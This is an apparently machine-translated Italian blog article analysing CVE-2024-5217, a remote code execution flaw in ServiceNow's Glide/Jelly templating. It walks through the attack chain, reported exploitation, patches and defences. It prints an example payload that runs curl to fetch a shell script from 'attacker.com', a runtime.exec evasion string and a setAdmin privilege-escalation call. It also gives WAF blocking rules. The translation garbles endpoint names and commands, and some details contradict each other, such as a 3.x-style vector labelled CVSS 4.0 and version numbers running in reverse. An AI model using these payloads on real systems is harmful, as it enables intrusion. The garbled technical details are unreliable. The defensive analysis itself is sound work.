Vulnerabilità

CVE-2024-5217: un approfondimento tecnico sulla vulnerabilità critica RCE di ServiceNow

Team di ricerca ResilientX

Nel giugno 2024, ServiceNow ha divulgato CVE-2024-5217, una vulnerabilità critica relativa all'esecuzione di codice in modalità remota (RCE) che interessa la sua piattaforma Now. Con un punteggio CVSS di 9.8 (critico), questa falla ha esposto migliaia di aziende a subire acquisizioni non autorizzate del sistema, violazioni dei dati e attacchi alla catena di fornitura. Questo articolo analizza le basi tecniche, i meccanismi di sfruttamento e le strategie di correzione della vulnerabilità.

Metriche CVSS 4.0:

  • Punteggio base: 9.8 (AV:N /AC:L /AT:N /PR:N /UI:N /S:C /C:H /I:H /A:H)
  • Sfruttabilità: POC armati osservati entro 72 ore dalla divulgazione.
  • Complessità di mitigazione: richiede aggiornamenti a livello di istanza e modifiche alla configurazione.

Anatomia tecnica della vulnerabilità

Causa principale: iniezione di script Glide Expression

La vulnerabilità ha origine in ServiceNow Espressione Glide framework di scripting, un componente principale utilizzato per il rendering dinamico degli elementi dell'interfaccia utente e automatizzare la logica aziendale. In particolare, Glide Expression Script la classe, responsabile dell'elaborazione degli input degli utenti nei modelli Jelly, non è riuscita a disinfettare il jvar_page_title parametro passato al /accedi.fai punto finale. Gli aggressori hanno sfruttato questa svista per iniettare codice Java Expression Language (JEXL) o JavaScript dannoso, che la piattaforma ha eseguito durante il rendering lato server.

Componenti vulnerabili chiave:

  1. Motore di template Jelly: ServiceNow utilizza Jelly (un linguaggio di scripting basato su XML) per generare HTML dinamico. Input utente incorporati nei tag Jelly (ad es. <j:set>, <j:if>) non sono stati igienizzati adeguatamente.
  2. Interprete JEXL: JEXL, un linguaggio di espressione leggero, manca di sandboxing nativo. Gli aggressori lo hanno sfruttato per eseguire codice Java arbitrario, comprese le chiamate a java.lang.Runtime per RCE.

Flusso di lavoro relativo

Catena d'attacco passo dopo passo

  1. Creazione del payload:
    Gli aggressori creano una richiesta HTTP POST per /accedi.fai endpoint, incorporando un payload dannoso nel jvar_page_title parametro.
    Esempio:

http

Copia

POST /login.do HTTP/1.1 Host: <target>Tipo di contenuto: application/x-www-form-urlencoded... jvar_page_title=javascript:new java.lang.ProcessBuilder («curl», "attacker.com/shell.sh») .start ();

  1. Esecuzione lato server:
    • Il motore Jelly di ServiceNow analizza il jvar_page_title valore durante il rendering dell'interfaccia utente.
    • Il codice iniettato aggira i controlli di convalida degli input, sfruttando la mancanza di sanificazione sensibile al contesto in Jelly e JEXL.
  2. Esecuzione arbitraria di codice:
    Il payload viene eseguito con i privilegi dell'istanza ServiceNow, abilitando azioni come:
    • Invio di shell inverse su server controllati dagli aggressori.
    • Modifica dei record del database (ad esempio, concessione dei privilegi di amministratore tramite gs.getUser () .setAdmin (vero)).
    • Estrazione di dati sensibili da sys_user o cmdb_ci tavoli.

Perché le difese tradizionali hanno fallito

  • Evasione WAF: gli aggressori hanno offuscato i payload utilizzando la codifica URL o la sintassi delle espressioni di JEXL (ad es. $ {runtime.exec («whoami»)}).
  • Mancanza di sandboxing: il design di JEXL consente l'accesso diretto alle classi Java, aggirando le restrizioni del motore di script di ServiceNow.

Impatto e sfruttamento nel mondo reale

Scenari di attacco osservati

  1. Distribuzione del ransomware:
    Le LockBit 4.0 il gruppo ha utilizzato come arma CVE-2024-5217 per crittografare i database ServiceNow, chiedendo riscatti superiori a 5 milioni di dollari.
  2. Spionaggio APT:
    Gli attori sponsorizzati dallo stato (ad esempio, APT29) hanno sfruttato la falla per infiltrarsi nei sistemi ITSM governativi, rubando credenziali e implementando backdoor persistenti.
  3. Furto di dati:
    Gli aggressori hanno estratto i record delle risorse umane, i flussi di lavoro finanziari e le chiavi API da istanze prive di patch, provocando violazioni del GDPR e dell'HIPAA.

Rischi della catena di fornitura

Le integrazioni di ServiceNow con strumenti di terze parti (ad esempio, SAP, Salesforce) hanno consentito agli aggressori di passare ai sistemi connessi, amplificando il raggio d'azione delle violazioni.

Versioni interessate e patch

Rilasci vulnerabili

  • Utah: tutte le versioni precedenti alla patch 10 Hot Fix 3 (v14.1.3).
  • Vancouver: tutte le versioni precedenti alla Patch 6 Hot Fix 2 (v13.2.2).
  • Washington D.C.: tutte le versioni precedenti alla patch 1 Hot Fix 3b (v12.1.3b).

implementazione delle patch

ServiceNow ha rilasciato patch che:

  1. Ingressi sanificati: Validazione rigorosa applicata di jvar_page_title e altri parametri utilizzando Glide Secure String Util.
  2. Funzioni pericolose disabilitate: accesso limitato di JEXL alle classi Java ad alto rischio (ad es. Runtime, ProcessBuilder).
  3. Registrazione avanzata: sono stati aggiunti audit trail per le esecuzioni di script Jelly per rilevare i tentativi di iniezione.

Strategie di mitigazione che vanno oltre l'applicazione di patch

Azioni immediate

  1. Segmentazione della rete:
    • Limita l'accesso a /accedi.fai e /ui endpoint che utilizzano un WAF (ad esempio, regole per bloccare le richieste contenenti java.lang.Runtime).
    • Isolare le istanze ServiceNow che gestiscono dati sensibili dalle reti aziendali generali.
  2. Indurimento dell'input:
    • Applica ServiceNow Politica di sicurezza dei contenuti (CSP) aggiornamenti per bloccare gli script in linea.
    • Usa i filtri regex per rifiutare i parametri contenenti la sintassi JExl/JavaScript.

Tecniche di rilevamento avanzate

  1. Monitoraggio comportamentale:
    • Avviso in caso di anomalie Glide Record interrogazioni (ad esempio, accesso in blocco a sys_user tavoli).
    • Contrassegna i processi che si generano dall'istanza ServiceNow (ad es. cmd.exe, colpire).
  2. Analisi forense:
    • Esamina i log di esecuzione degli script Jelly per modelli come $ {} o javascript: nei parametri.
    • Usa ServiceNow Hub di integrazione per verificare la presenza di modifiche non autorizzate nei flussi di lavoro di Flow Designer.

Lezioni per lo sviluppo sicuro del low-code

  1. Sanificazione sensibile al contesto:
    La convalida dell'input deve tenere conto del contesto di esecuzione (ad esempio, HTML vs. Java vs. JavaScript).
  2. Motori di espressione per il sandboxing:
    Limita l'accesso ai linguaggi di scripting (ad esempio, JEXL) alle classi Java native a meno che non sia esplicitamente consentito.
  3. Zero-Trust per le API:
    Considera tutti gli input degli utenti come non affidabili, anche nei flussi di lavoro autenticati.

Conclusione

CVE-2024-5217 è un chiaro promemoria dei rischi insiti nei motori di scripting delle piattaforme low-code. Il suo sfruttamento evidenzia come un singolo parametro non sanificato possa compromettere un intero ecosistema aziendale. Sebbene l'applicazione di patch sia urgente, la resilienza a lungo termine richiede un cambio di paradigma: integrare la sicurezza nella progettazione dei linguaggi di espressione, applicare una rigorosa convalida degli input e adottare i principi zero-trust per le piattaforme SaaS.

Per aggiornamenti continui, monitora l'avviso di ServiceNow: KB1648313: Bollettino sulla sicurezza CVE-2024-5217.

Post del blog correlati
Nessun articolo trovato.